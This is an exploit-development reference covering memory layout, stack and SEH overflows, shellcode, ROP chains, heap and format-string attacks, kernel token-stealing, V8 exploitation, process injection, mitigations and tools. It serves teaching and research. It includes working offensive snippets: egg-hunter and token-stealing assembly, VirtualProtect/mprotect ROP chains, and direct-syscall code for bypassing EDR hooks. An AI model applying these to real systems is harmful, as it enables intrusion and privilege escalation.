Memory Layout & Concepts
Understanding process memory β the foundation of every exploit
Process Virtual Address Space (x64)
βββββββββββββββββββββββββββββββββββ 0xFFFF FFFF FFFF FFFF
β Kernel Space β (Not accessible from user mode)
β Page tables, drivers, HAL β
βββββββββββββββββββββββββββββββββββ€ 0xFFFF 8000 0000 0000 (canonical boundary)
β β
β ββββ Canonical Hole ββββ β Non-canonical addresses
β β (not mapped) β β Accessing β #GP fault
β ββββββββββββββββββββββββ β
β β
βββββββββββββββββββββββββββββββββββ€ 0x0000 7FFF FFFF FFFF
β Stack β β Grows downward (high β low)
β Thread stacks, locals, β Per-thread, default 1MB (Windows)
β return addresses, frames β Guard page at bottom
βββββββββββββββββββββββββββββββββββ€
β β (gap) β
βββββββββββββββββββββββββββββββββββ€
β Memory-Mapped Files β mmap regions, shared libraries
β Shared libraries (.dll) β File-backed & anonymous mappings
βββββββββββββββββββββββββββββββββββ€
β Heap β β Grows upward (low β high)
β malloc/HeapAlloc chunks β Multiple heaps possible (Windows)
β Dynamic allocations β Front-end + back-end allocators
βββββββββββββββββββββββββββββββββββ€
β .bss β Uninitialized globals (zeroed)
βββββββββββββββββββββββββββββββββββ€
β .data β Initialized global/static vars
βββββββββββββββββββββββββββββββββββ€
β .rdata / .rodata β Read-only data, strings, vtables
βββββββββββββββββββββββββββββββββββ€
β .text β Executable code (RX)
βββββββββββββββββββββββββββββββββββ€ 0x0000 0000 0040 0000 (typical image base)
β PE/ELF Headers β
βββββββββββββββββββββββββββββββββββ€
β NULL page (guard) β First 64KB reserved (Windows)
βββββββββββββββββββββββββββββββββββ 0x0000 0000 0000 0000
Key Memory Corruption Primitives
Write Primitives
| Primitive | Power | Source |
|---|---|---|
| Arbitrary Write | God-mode | Write-what-where, format string |
| Relative Write | Very High | OOB write, heap overflow |
| Increment/Decrement | High | Off-by-one, ref count |
| Null Write | Medium | Null-byte overflow |
Read Primitives
| Primitive | Power | Source |
|---|---|---|
| Arbitrary Read | Info leak | Format string, OOB read |
| Relative Read | High | Buffer over-read |
| Pointer Leak | Essential | Uninitialized memory, UAF |
| Partial Overwrite | Medium | Byte-level precision |
Exploit Development Pipeline
Bug Discovery β Root Cause Analysis β Primitive Identification β Info Leak β Control Flow Hijack β Code Exec
β β β β β β
βΌ βΌ βΌ βΌ βΌ βΌ
Fuzzing Crash analysis What can we Defeat ASLR Overwrite ret/ ROP β shellcode
Code audit Reversing read/write? Stack leak vtable/func ptr JOP/COP
Diff analysis Debug repro Heap? Stack? Heap leak Corrupt object JIT spray
Variant find Constraint map How many bytes? Side channel Hijack dispatch Sandbox escape
Alignment & Data Sizes
| Type | x86 (32-bit) | x64 (64-bit) | Notes |
|---|---|---|---|
| char | 1 byte | 1 byte | - |
| short | 2 bytes | 2 bytes | - |
| int | 4 bytes | 4 bytes | Same on both |
| long | 4 bytes | 4/8 bytes | 4 on Windows x64, 8 on Linux x64 |
| pointer | 4 bytes | 8 bytes | Critical for buffer calculations |
| size_t | 4 bytes | 8 bytes | Follows pointer size |
| Stack alignment | 4-byte | 16-byte | x64 requires 16-byte alignment before CALL |
Stack Buffer Overflows
Classic exploitation β overwriting return addresses and local variables
Stack Frame Anatomy (x64)
High Addresses
βββββββββββββββββββββββββββββββββββ€
β Caller's stack frame β
βββββββββββββββββββββββββββββββββββ€
β Return Address (8 bytes) β β Target for classic overflow
βββββββββββββββββββββββββββββββββββ€
β Saved RBP (8 bytes) β β If frame pointer used
βββββββββββββββββββββββββββββββββββ€ β RBP points here (frame base)
β Local variable N β
β ... β
β Local variable 2 β
β char buffer[64] β β Overflow starts here
βββββββββββββββββββββββββββββββββββ€ β RSP points here
β Shadow space (32 bytes) β β Windows x64 calling convention
β Spilled arguments β
Low Addresses
Overflow direction: buffer grows LOW β HIGH, overwriting:
1. Adjacent local variables
2. Saved frame pointer (RBP)
3. Return address β Code execution!
4. Caller's frame β Chain multiple frames
Classic Stack Overflow (No Protections)
Vulnerable Code Pattern
void vulnerable(char *input) { char buffer[64]; strcpy(buffer, input); // No bounds checking! // Other unsafe: gets(), sprintf(), scanf("%s"), memcpy with user-controlled size } // Exploitation: // [64 bytes padding][8 bytes saved RBP][8 bytes RET addr β shellcode/ROP] // Total payload: 64 + 8 + 8 = 80 bytes minimum
Finding the Offset
Pattern-Based Offset Discovery
# Generate cyclic pattern (pwntools) from pwn import * pattern = cyclic(200) # De Bruijn sequence # Send to target, get crash address offset = cyclic_find(0x61616168) # Find offset from crash value # Or with msf-pattern: # msf-pattern_create -l 200 # msf-pattern_offset -q 0x61616168 # Manual approach: binary search with A's # 100 A's β crash? β 50 A's β crash? β narrow down
SEH Overflow (Windows x86)
Structured Exception Handler Overwrite
// SEH chain on stack (x86 only, disabled by SafeSEH/SEHOP on modern) // Stack layout with SEH: // [buffer] β [other locals] β [SEH record] β [saved EBP] β [RET] // // SEH record structure: // +0x00: Next SEH record pointer (nSEH) // +0x04: Exception handler function pointer // // Classic technique: // 1. Overflow into SEH record // 2. Overwrite handler with POP/POP/RET gadget // 3. Overwrite nSEH with JMP to shellcode // 4. Trigger exception (access violation from overflow itself) // 5. POP/POP/RET lands on nSEH β JMP β shellcode Payload: [junk to SEH][JMP +6 (nSEH)][POP/POP/RET (handler)][shellcode]
Common Overflow Targets Beyond Return Address
| Target | Technique | When Useful |
|---|---|---|
| Function pointer (local) | Overwrite callback ptr in struct on stack | Stack canary present but ptr before canary check |
| vtable pointer | Overwrite C++ object's vptr | Object on stack, virtual call before return |
| Saved frame pointer | Off-by-one β 1-byte RBP overwrite | Shift frame to controlled data on leave;ret |
| longjmp buffer | Overwrite setjmp/longjmp buffer | Buffer stored on stack or heap |
| Local auth flag | Overwrite boolean/int controlling auth | Logic bugs, bypass checks without code exec |
Shellcode Development
Position-independent code for post-exploitation
Shellcode Constraints
| Constraint | Problem | Solution |
|---|---|---|
| Null bytes (0x00) | strcpy/string functions stop | XOR encoding, alternative instructions |
| Bad characters | Protocol-specific filters | Custom encoder, alpha-numeric shellcode |
| Size limits | Small buffer available | Egg hunter, staged shellcode |
| Position independence | Unknown load address | Relative addressing, PEB walking |
| DEP/NX | Non-executable stack/heap | ROP to VirtualProtect/mprotect first |
Windows x64 Shellcode β API Resolution via PEB
; Walk PEB β LDR β InMemoryOrderModuleList to find kernel32.dll ; Then parse export table to find function addresses xor rcx, rcx mov rax, gs:[rcx+0x60] ; PEB (TEB+0x60 on x64) mov rax, [rax+0x18] ; PEBβLdr mov rsi, [rax+0x20] ; LdrβInMemoryOrderModuleList lodsq ; Skip first entry (exe itself) xchg rax, rsi lodsq ; Second entry β ntdll.dll mov rbx, [rax+0x20] ; DllBase of ntdll xchg rax, rsi lodsq ; Third entry β kernel32.dll mov rbx, [rax+0x20] ; DllBase of kernel32 ; Parse PE export table from rbx (kernel32 base) mov edx, [rbx+0x3C] ; e_lfanew add rdx, rbx ; PE header mov edx, [rdx+0x88] ; Export directory RVA (PE64: 0x88) add rdx, rbx ; Export directory VA ; edx+0x1C β AddressOfFunctions ; edx+0x20 β AddressOfNames ; edx+0x24 β AddressOfNameOrdinals
Egg Hunter
Small First-Stage (32 bytes) Finds Larger Payload
; Windows SEH-based egg hunter (~32 bytes) ; Searches process memory for "egg" marker (repeated twice) ; EGG = 0x50905090 ("w00tw00t" or custom) xor edx, edx next_page: or dx, 0xfff ; Align to page boundary next_addr: inc edx push edx push 0x2 ; NtAccessCheckAndAuditAlarm syscall pop eax int 0x2e ; Syscall (checks if address is readable) cmp al, 0x05 ; Access violation? pop edx je next_page ; Skip invalid page mov eax, 0x50905090 ; Egg marker mov edi, edx scasd ; Compare [edi] with eax jnz next_addr scasd ; Second copy confirms jnz next_addr jmp edi ; Jump to shellcode after eggs
Null-Free Instruction Alternatives
| Contains Null | Null-Free Alternative | Notes |
|---|---|---|
mov eax, 0 | xor eax, eax | Classic zero-register trick |
mov rax, 0x00400000 | push 0x40; pop rax; shl rax, 16 | Build value without nulls |
mov byte [rax], 0 | xor ecx,ecx; mov [rax], cl | Write zero via register |
jmp 0x0 (short) | Calculate relative JMP | Avoid null in displacement |
| String "cmd\0" | XOR-encode, decode at runtime | Encoder stub prepended |
ROP & Code Reuse Attacks
Return-Oriented Programming β chaining existing code gadgets
ROP Fundamentals
Stack (attacker-controlled) Execution Flow
ββββββββββββββββββββββββ
β addr of Gadget 1 ββββββββ pop rdi; ret β Set RDI = arg1
ββββββββββββββββββββββββ€ β
β value for RDI β β (popped into RDI)
ββββββββββββββββββββββββ€ βΌ
β addr of Gadget 2 ββββββββ pop rsi; ret β Set RSI = arg2
ββββββββββββββββββββββββ€ β
β value for RSI β β (popped into RSI)
ββββββββββββββββββββββββ€ βΌ
β addr of Gadget 3 ββββββββ pop rdx; ret β Set RDX = arg3
ββββββββββββββββββββββββ€ β
β value for RDX β β
ββββββββββββββββββββββββ€ βΌ
β addr of target func ββββββββ VirtualProtect() β Call with controlled args
ββββββββββββββββββββββββ€ β
β return after call β βΌ
β ... β Shellcode now RWX β jump to it
ββββββββββββββββββββββββ
Key insight: Each "ret" instruction pops next address from stack,
chaining execution through arbitrary sequences of existing code.
Essential Gadget Types
| Gadget | Purpose | Example |
|---|---|---|
| pop REG; ret | Load controlled value into register | pop rdi; ret β set first arg |
| mov [REG], REG; ret | Arbitrary write primitive | mov [rdi], rsi; ret |
| xchg REG, REG; ret | Move values between registers | xchg rax, rdi; ret |
| add REG, REG; ret | Arithmetic on registers | Adjust pointers, compute addresses |
| push REG; pop REG; ret | Move value between registers | push rax; pop rcx; ret |
| leave; ret | Stack pivot | mov rsp, rbp; pop rbp; ret |
| jmp [REG] | Indirect call (end of chain) | Dispatch through pointer |
| syscall; ret | Direct system call | Bypass user-mode hooks |
ROP Chain: VirtualProtect (Windows x64)
# Goal: Make shellcode region executable via VirtualProtect # BOOL VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpOldProtect) # RCX = lpAddress (shellcode location) # RDX = dwSize (0x1000) # R8 = flNewProtect (0x40 = PAGE_EXECUTE_READWRITE) # R9 = lpOldProtect (writable address) rop_chain = [ pop_rcx_ret, # Gadget: pop rcx; ret shellcode_addr, # RCX = address of shellcode pop_rdx_ret, # Gadget: pop rdx; ret 0x1000, # RDX = size (4096 bytes) pop_r8_ret, # Gadget: pop r8; ret 0x40, # R8 = PAGE_EXECUTE_READWRITE pop_r9_ret, # Gadget: pop r9; ret writable_addr, # R9 = writable location for old protect virtualprotect_addr, # Call VirtualProtect shellcode_addr, # Return into shellcode (now executable) ]
ROP Chain: mprotect (Linux x64)
# mprotect(addr, len, prot) β syscall 10 # RDI = addr (page-aligned), RSI = len, RDX = prot (7 = RWX) # RAX = 10 (mprotect syscall number) rop_chain = [ pop_rdi_ret, # Gadget page_aligned_addr, # RDI = target page pop_rsi_ret, # Gadget 0x1000, # RSI = 4096 bytes pop_rdx_ret, # Gadget 7, # RDX = PROT_READ|PROT_WRITE|PROT_EXEC pop_rax_ret, # Gadget 10, # RAX = __NR_mprotect syscall_ret, # Execute syscall; ret shellcode_addr, # Jump to now-executable shellcode ]
Stack Pivot Techniques
When You Can't Put Full ROP Chain on Stack
// Problem: Limited overflow, can only control RET + few bytes // Solution: Pivot RSP to attacker-controlled buffer (heap, .data, etc.) // Technique 1: XCHG reg, RSP; RET // If you control a register pointing to your ROP chain: // xchg rax, rsp; ret β RSP = old RAX (your buffer) // Technique 2: LEAVE; RET // leave = mov rsp, rbp; pop rbp // If you control RBP β point it to your fake stack // First leave: RSP = controlled RBP // ret: pops address from your fake stack // Technique 3: ADD RSP, offset; RET // Jump over stack canary or fixed data to reach controlled region // Technique 4: MOV RSP, [reg+offset]; RET // Load RSP from a controlled memory location
Gadget Finding Tools
| Tool | Command | Notes |
|---|---|---|
| ROPgadget | ROPgadget --binary target --ropchain | Auto chain generation |
| ropper | ropper -f target --search "pop rdi" | Search specific gadgets |
| rp++ | rp-win -f target.exe -r 5 | Fast, depth control |
| pwntools | ROP(elf).find_gadget(['pop rdi', 'ret']) | Python integration |
| xrop | Multiarch gadget search | ARM, MIPS support |
Heap Exploitation
Dynamic memory corruption β UAF, overflow, and allocator abuse
Windows Heap Architecture (NT Heap)
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Process Heap β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Front-End Allocator (LFH - Low Fragmentation Heap) β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Bucket[0]: 1-8 bytes β UserBlocks segments β β
β β Bucket[1]: 9-16 bytes β UserBlocks segments β β
β β Bucket[2]: 17-24 bytes β ... β β
β β ... β β
β β Bucket[127]: 1009-1024 β UserBlocks segments β β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β LFH: Randomized allocation order within UserBlocks β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β Back-End Allocator (ListHints / FreeLists) β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β ListHints[0] β FreeLists for various sizes β β
β β Segments β Committed/uncommitted ranges β β
β β VirtualAlloc'd blocks for very large allocations β β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββββ β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Modern Windows (Segment Heap - Win10+):
- Variable Size (VS): Small allocations, randomized
- Low Fragmentation (LFH): Integrated, bitmap-based
- Large Blocks: Direct VirtualAlloc
- Backend: Segment-based management
glibc Heap (Linux ptmalloc2)
Chunk Structure (in-use): Chunk Structure (free):
ββββββββββββββββββββββββ ββββββββββββββββββββββββ
β prev_size (if prev β β prev_size β
β chunk is free) β β β
ββββββββββββββββββββββββ€ ββββββββββββββββββββββββ€
β size | A | M | P β β size | A | M | P β
β (A=arena, M=mmap, β β P=0 (prev is free) β
β P=prev_inuse) β β β
ββββββββββββββββββββββββ€ ββββββββββββββββββββββββ€
β User Data β β fd (forward ptr) β β next free
β ... β ββββββββββββββββββββββββ€
β β β bk (backward ptr) β β prev free
β β ββββββββββββββββββββββββ€
β β β (fd_nextsize, bk_ β β large bins only
β β β nextsize) β
ββββββββββββββββββββββββ ββββββββββββββββββββββββ
Free Lists (Bins):
tcache[idx] β Per-thread cache (LIFO, 7 entries each, 64 bins)
fastbins[idx] β Singly-linked LIFO (sizes 0x20-0x80 on x64)
unsorted bin β Doubly-linked, recently freed, any size
small bins[idx] β Doubly-linked FIFO (sizes < 0x400 on x64)
large bins[idx] β Doubly-linked, sorted by size (sizes β₯ 0x400)
Key Heap Exploitation Techniques
Use-After-Free (UAF) Critical
// Classic UAF pattern: Object *obj = new Object(); // Allocate delete obj; // Free (but pointer not nulled!) // ... other allocations may reuse the memory ... char *evil = malloc(sizeof(Object)); // Reuse freed memory! memcpy(evil, payload, sizeof(Object)); // Control object contents obj->virtualMethod(); // Dangling pointer β calls attacker vtable! // Exploitation strategy: // 1. Free target object // 2. Allocate same-size buffer with controlled content // 3. Trigger use of dangling pointer // 4. Fake vtable β code execution
Tcache Poisoning (glibc 2.26+) High
# Tcache is a per-thread singly-linked free list (LIFO) # If you can write to freed chunk's fd pointer: # Normal tcache state after two frees: # tcache[idx] β chunk_B β chunk_A β NULL # After overwriting chunk_B's fd (via UAF or overflow): # tcache[idx] β chunk_B β TARGET_ADDR β ??? # malloc() β returns chunk_B # malloc() β returns TARGET_ADDR β Arbitrary allocation! # glibc 2.32+ added safe-linking: # fd is mangled: fd = (addr >> 12) ^ next_ptr # Need heap leak to demangle/remangle pointers # Bypass: leak heap base, compute: mangled = (chunk_addr >> 12) ^ target
House of Force (Legacy) Medium
# Overwrite top chunk size to very large value # Then malloc() with calculated negative offset # Forces allocator to return arbitrary address # 1. Overflow into top chunk header, set size = 0xFFFFFFFFFFFFFFFF # 2. Calculate: distance = target_addr - top_chunk_addr - header_size # 3. malloc(distance) β advances top chunk to near target # 4. malloc(normal) β returns address at/near target # Largely mitigated in modern glibc (top chunk size checks)
Heap Technique Summary
| Technique | Allocator | Primitive Needed | Result |
|---|---|---|---|
| Tcache poison | glibc (tcache) | Write to free chunk fd | Arbitrary alloc |
| Fastbin dup | glibc (fastbin) | Double free | Arbitrary alloc |
| Unsorted bin attack | glibc (unsorted) | Write to free chunk bk | Arbitrary large write |
| House of Orange | glibc | Heap overflow top chunk | _IO_FILE exploit |
| House of Einherjar | glibc | Null byte overflow | Overlapping chunks |
| House of Lore | glibc (smallbin) | Write to free chunk bk | Arbitrary alloc |
| LFH overflow | Windows NT/Seg | Adjacent chunk write | Corrupt neighbor |
| Pool overflow | Windows kernel | Adjacent pool object | Kernel code exec |
Format String Attacks
When user input becomes the format specifier
Core Vulnerability
// Vulnerable: printf(user_input); // User controls format string! // Safe: printf("%s", user_input); // User input is data, not format // Also vulnerable: fprintf, sprintf, snprintf, syslog, etc.
Format String Specifiers for Exploitation
| Specifier | Action | Exploit Use |
|---|---|---|
%x / %p | Print stack value as hex/pointer | Leak stack contents, defeat ASLR |
%s | Print string at pointer on stack | Read arbitrary memory |
%n | Write number of bytes printed so far to address on stack | Arbitrary write! |
%hn | Write 2 bytes (short) | Precise 2-byte write |
%hhn | Write 1 byte | Precise 1-byte write |
%N$x | Direct parameter access (Nth argument) | Skip to specific stack offset |
%N$n | Write to Nth argument's pointed address | Direct write without padding |
Format String Write Technique
Overwriting GOT Entry (32-bit example)
# Goal: Overwrite puts@GOT with system() address # puts@GOT = 0x0804c010 # system() = 0xf7e12345 # Strategy: Use %hn to write 2 bytes at a time # Write 0x2345 to 0x0804c010 (low 2 bytes) # Write 0xf7e1 to 0x0804c012 (high 2 bytes) # Payload layout (on stack): # [addr_low][addr_high][%Xc%N$hn%Yc%M$hn] # addr_low = p32(0x0804c010) # addr_high = p32(0x0804c012) # Calculate padding to get exact byte counts for %n # pwntools makes this easy: from pwn import * elf = ELF('./target') payload = fmtstr_payload(offset, {elf.got['puts']: system_addr})
Kernel Exploitation
Ring-0 exploitation on Windows and Linux
Windows Kernel Exploit Primitives
Common Windows Kernel Bug Classes
| Bug Class | Location | Typical Primitive |
|---|---|---|
| Pool overflow | Paged/NonPaged pool | Corrupt adjacent pool object |
| Pool UAF | Object reference counting | Type confusion, fake object |
| Integer overflow | Size calculations | Undersized allocation |
| Race condition (TOCTOU) | Syscall validation | Bypass security checks |
| Arbitrary decrement | Reference counting | UAF via premature free |
| Stack overflow | Kernel stack (limited) | Overwrite return address |
| GDI object abuse | GDI bitmap/palette | Arbitrary R/W kernel memory |
Token Stealing Shellcode (Windows)
; Classic token stealing: copy SYSTEM token to current process ; Offsets vary by Windows version! ; 1. Get current EPROCESS mov rax, gs:[0x188] ; KTHREAD (from KPCR) mov rax, [rax+0x220] ; EPROCESS (ApcState.Process) mov rcx, rax ; Save current EPROCESS ; 2. Walk ActiveProcessLinks to find SYSTEM (PID 4) find_system: mov rax, [rax+0x448] ; ActiveProcessLinks.Flink sub rax, 0x448 ; Back to EPROCESS start cmp dword [rax+0x440], 4 ; UniqueProcessId == 4? jne find_system ; 3. Copy SYSTEM token to current process mov rdx, [rax+0x4B8] ; SYSTEM Token mov [rcx+0x4B8], rdx ; Overwrite current process Token ; 4. Return cleanly (restore state, return to user mode) ; Critical: must not BSOD! Clean stack, restore registers
Linux Kernel Exploitation
Common Techniques
| Technique | Description | Modern Status |
|---|---|---|
| commit_creds(prepare_kernel_cred(0)) | Elevate to root via kernel functions | Classic, still works if reached |
| modprobe_path overwrite | Write to modprobe_path, trigger unknown binary | Works on older kernels, being hardened |
| msg_msg spray | Use msgsnd() for heap spray/shaping | Widely used for cross-cache attacks |
| pipe_buffer exploit | Abuse pipe subsystem for arb R/W | DirtyPipe (CVE-2022-0847) |
| io_uring exploitation | Complex subsystem, rich attack surface | Active research area |
| userfaultfd | Control page fault handling for race wins | Restricted in newer kernels |
| FUSE | Filesystem in userspace for race | Alternative to userfaultfd |
Modern Mitigations
Defense mechanisms in modern operating systems and compilers
Mitigation Map
| Mitigation | What It Protects | Introduced | Bypasses |
|---|---|---|---|
| DEP / NX / W^X | Stack/heap code execution | XP SP2 / Always (Linux) | ROP, JOP, JIT spray |
| ASLR | Code/data addresses | Vista / Linux 2.6.12 | Info leak, partial overwrite, brute force (32-bit) |
| Stack Canaries (/GS) | Stack buffer overflows | VS 2003 / GCC | Info leak, SEH overwrite, non-return targets |
| SafeSEH / SEHOP | SEH overwrites (x86) | VS 2003 / Vista | Module without SafeSEH, SEHOP bypass |
| CFG (Control Flow Guard) | Indirect call targets | Win 8.1 Update 3 | Valid call targets, CFG bitmap corruption |
| CET (Shadow Stack) | Return address integrity | Win 11 / Intel 11th Gen | Forward-edge attacks, JOP |
| ACG (Arbitrary Code Guard) | Dynamic code generation | Win 10 RS2 (Edge) | Data-only attacks, existing JIT code |
| kCFI | Kernel indirect calls | Linux 6.1 (Clang) | Type-compatible targets |
| SMEP/SMAP | Kernel executing/reading user pages | Intel Ivy Bridge | Kernel ROP, map userspace in kernel |
| KASLR | Kernel base address | Win 8 / Linux 3.14 | Kernel info leak, side channels |
| Safe Unlinking | Heap metadata corruption | glibc / Windows | Chunk overlap, tcache (less checks) |
| LFH Randomization | Heap determinism | Win 8+ | Large sprays, probabilistic approaches |
ASLR Entropy by Platform
| Component | Windows x64 | Linux x64 | Notes |
|---|---|---|---|
| Image base | 17-19 bits | 28 bits (PIE) | Linux has higher entropy |
| Heap | 17 bits | 28 bits | Per-allocation randomization varies |
| Stack | 17 bits | 22 bits | Additional sub-page randomization |
| mmap/DLLs | 17-19 bits | 28 bits | Shared library positions |
| Kernel (KASLR) | 24 bits | 9 bits (varies) | Kernel base randomization |
Stack Canary Deep Dive
// How stack canaries work (/GS on MSVC, -fstack-protector on GCC): // // Function prologue: // mov rax, QWORD PTR fs:[0x28] ; Load canary (Linux, from TLS) // mov QWORD PTR [rbp-8], rax ; Place on stack before saved RBP // // Function epilogue: // mov rax, QWORD PTR [rbp-8] ; Read canary from stack // xor rax, QWORD PTR fs:[0x28] ; Compare with reference // jne __stack_chk_fail ; If different β abort! // // Stack layout with canary: // [buffer][canary][saved RBP][return address] // β Must survive to overwrite return address // // Windows /GS canary: // __security_cookie XOR'd with RBP, checked with __security_check_cookie // Cookie in .data section, randomized at process start
Mitigation Bypasses
Defeating modern defenses
ASLR Bypass Techniques
| Technique | How | Requirements |
|---|---|---|
| Information leak | Leak a pointer from stack/heap, calculate base | Read primitive (format string, OOB read) |
| Partial overwrite | Overwrite only low 1-2 bytes of address (not randomized) | Limited write, same page/region |
| Brute force (32-bit) | Only ~256-65536 possibilities for 32-bit ASLR | Process restarts without re-randomization |
| Non-ASLR module | Find DLL compiled without /DYNAMICBASE | Legacy module loaded in process |
| Side channel | Cache timing, prefetch, TSX to deduce layout | Same physical machine, timing precision |
| JIT spray | JIT engine embeds constants as executable bytes | Ability to trigger JIT compilation |
DEP/NX Bypass: Code Reuse
| Technique | Description | Countered By |
|---|---|---|
| ROP | Chain gadgets ending in RET | CET Shadow Stack, CFI |
| JOP | Chain gadgets ending in indirect JMP | CFG, CET IBT |
| COP (Call-Oriented) | Chain gadgets ending in CALL | CFG |
| COOP | Abuse C++ virtual calls (counterfeit objects) | Strict CFI, type checking |
| Ret2libc | Call system()/exec() directly | ASLR (need leak) |
| Ret2dlresolve | Abuse lazy binding to resolve any function | Full RELRO |
| JIT spray | Control JIT-compiled code with constants | ACG, constant blinding |
| VirtualProtect/mprotect | ROP to make memory executable | ACG (blocks RWX) |
Control Flow Guard (CFG) Bypass
// CFG validates indirect call targets against a bitmap // Only addresses marked as valid call targets are allowed // // Bypass strategies: // // 1. Use valid CFG targets as gadgets // - Many valid targets exist (any function start) // - Find useful targets: VirtualProtect, SetProcessValidCallTargets // // 2. Corrupt CFG bitmap directly // - Mark your shellcode address as valid // - Requires arbitrary write to bitmap region // // 3. Return address overwrite (CFG doesn't protect returns!) // - CFG only checks indirect CALL/JMP targets // - Classic ROP still works against CFG alone // - Need CET/Shadow Stack to protect returns // // 4. Abuse non-CFG modules // - JIT regions, dynamically loaded code // - Modules compiled without CFG support
CET (Control-flow Enforcement Technology) Bypass
// CET has two components: // 1. Shadow Stack (SS): Hardware-backed return address verification // - CALL pushes to both regular stack and shadow stack // - RET compares both stacks, #CP fault on mismatch // // 2. Indirect Branch Tracking (IBT): // - Indirect JMP/CALL must land on ENDBR64 instruction // - Limits gadget availability // // Current research directions: // - Forward-edge attacks (CET SS doesn't protect forward edges) // - COOP-style attacks using only valid ENDBR targets // - Data-only attacks (no control flow hijack needed) // - JIT code may not have ENDBR markers // - Exception handler manipulation // - Signal handler abuse (sigreturn-oriented programming)
Browser & JIT Exploitation
JavaScript engine bugs and sandbox escapes
Browser Exploit Chain
ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ
β Renderer β β Sandbox β β Kernel β β Full β
β Compromise βββββΆβ Escape βββββΆβ Exploit βββββΆβ System β
β (JS engine) β β (IPC/Mojo) β β (LPE) β β Control β
ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ ββββββββββββββββ
V8/JSC bug Chrome IPC bug Win32k/driver SYSTEM/root
Type confusion Mojo interface Pool overflow Code exec
JIT bug Site isolation Race condition
OOB R/W bypass
JavaScript Engine Bug Classes
| Bug Class | Engine Area | Exploitation Impact |
|---|---|---|
| JIT type confusion | Optimizing compiler | OOB R/W via incorrect type assumptions |
| JIT bounds check elimination | Optimization passes | Array OOB access |
| Incorrect side-effect modeling | JIT IR | Redundancy elimination β stale values |
| GC (Garbage Collection) UAF | Memory manager | Dangling object references |
| Prototype pollution | Object model | Type confusion via prototype chain |
| ArrayBuffer neutering | Typed arrays | UAF on backing store |
| RegExp exploitation | RegExp engine | Stack/heap corruption in regex |
V8 Exploitation Pattern
// Typical V8 exploit flow: // // 1. Trigger JIT bug to get OOB read/write on a TypedArray or Array // - Corrupt array length or backing store pointer // // 2. Build addrOf/fakeObj primitives: // addrOf(obj) β leak address of any JS object // fakeObj(addr) β create JS object reference to arbitrary address // // 3. Create arbitrary R/W: // - Fake an ArrayBuffer with controlled backing store pointer // - Read/write anywhere in process memory // // 4. Overwrite WASM RWX page (if available) with shellcode // - V8 allocates RWX memory for WASM // - Or: overwrite JIT code // - Or: corrupt function pointers // // 5. Execute shellcode β renderer compromise // - Still in sandbox! Need escape for full compromise // V8 pointer compression (v8.0+): // Pointers are 32-bit offsets from a 4GB-aligned base // Complicates fake object creation (limited address range)
Windows Specifics
Windows-specific exploitation techniques and structures
Windows Exploitation Targets
| Target | Use | Mitigated By |
|---|---|---|
| PEB/TEB | Locate heaps, modules, parameters | ASLR (PEB/TEB location randomized) |
| Import Address Table (IAT) | Overwrite function pointers | CFG, IAT guard |
| Virtual Function Table (vtable) | Hijack C++ virtual calls | CFG, CET IBT |
| _EXCEPTION_REGISTRATION | SEH overwrite (x86) | SafeSEH, SEHOP |
| CRT function pointers | atexit handlers, locale funcs | Encoded pointers (EncodePointer) |
| Thread pool work items | Queue code execution | Requires info leak |
| RtlCriticalSection | Overwrite debug info pointer | ASLR, pointer encoding |
Windows Syscalls for Exploit Dev
// Direct syscalls bypass user-mode hooks (EDR, AV) // Syscall numbers change between Windows versions! // NtAllocateVirtualMemory - allocate executable memory mov r10, rcx mov eax, 0x18 ; Syscall number (varies by version!) syscall ret // Key syscalls for exploitation: // NtAllocateVirtualMemory - Allocate memory (alloc RWX region) // NtProtectVirtualMemory - Change page protections (DEP bypass) // NtWriteVirtualMemory - Write to other process memory // NtCreateThreadEx - Create remote thread (injection) // NtQueueApcThread - APC injection // NtMapViewOfSection - Map shared memory // Techniques to find syscall numbers dynamically: // 1. Read ntdll.dll export table, parse Zw* stubs // 2. Sort by address (syscall numbers are sequential) // 3. Read from disk to avoid in-memory hooks (SysWhispers approach)
Windows Process Injection Techniques
| Technique | API Calls | Detection Surface |
|---|---|---|
| Classic DLL injection | OpenProcess β VirtualAllocEx β WriteProcessMemory β CreateRemoteThread(LoadLibrary) | High - well detected |
| Process hollowing | CreateProcess(SUSPENDED) β NtUnmapViewOfSection β Write β ResumeThread | Medium - unmapping suspicious |
| APC injection | OpenThread β QueueUserAPC β Alertable wait needed | Medium |
| Atom bombing | GlobalAddAtom β QueueUserAPC(NtQueueApcThread) β ROP in target | Lower |
| Module stomping | Load legitimate DLL β overwrite .text section | Lower - backed by clean file |
| Thread execution hijack | SuspendThread β SetThreadContext(RIP) β ResumeThread | Medium |
| Phantom DLL hollowing | Map transaction β modify β rollback file, keep mapped | Low |
Tools & Workflow
Essential tools for exploit development and analysis
Debuggers
| Tool | Platform | Key Commands / Features |
|---|---|---|
| WinDbg | Windows | !analyze -v, !exploitable, !heap, TTD, kernel debug |
| x64dbg | Windows | User-friendly, plugin ecosystem, conditional breakpoints |
| GDB + GEF/pwndbg | Linux | checksec, heap, vmmap, telescope, rop |
| LLDB | macOS/Linux | Xcode integration, scriptable with Python |
| rr | Linux | Record & replay debugging (deterministic replay!) |
Essential WinDbg Commands for Exploit Dev
// Crash analysis !analyze -v // Automated crash analysis !exploitable // Classify exploitability .ecxr // Switch to exception context // Memory inspection !address -summary // Memory layout overview !vprot <addr> // Page protection flags dps <addr> L10 // Display pointer-sized values with symbols !heap -stat // Heap statistics !heap -flt s <size> // Find heap allocations of specific size // Security features !checksec // Check mitigations (needs extension) !dh <module> // Display PE headers (check DYNAMICBASE, NX) // Exploitation !teb // Thread Environment Block !peb // Process Environment Block dt nt!_EPROCESS // Kernel process structure !token -n // Display current token
Exploit Development Frameworks
| Tool | Purpose | Key Features |
|---|---|---|
| pwntools (Python) | CTF & exploit dev framework | Remote/local process, ROP builder, shellcraft, format strings |
| Metasploit Framework | Exploit framework | Payload generation, encoders, exploit modules |
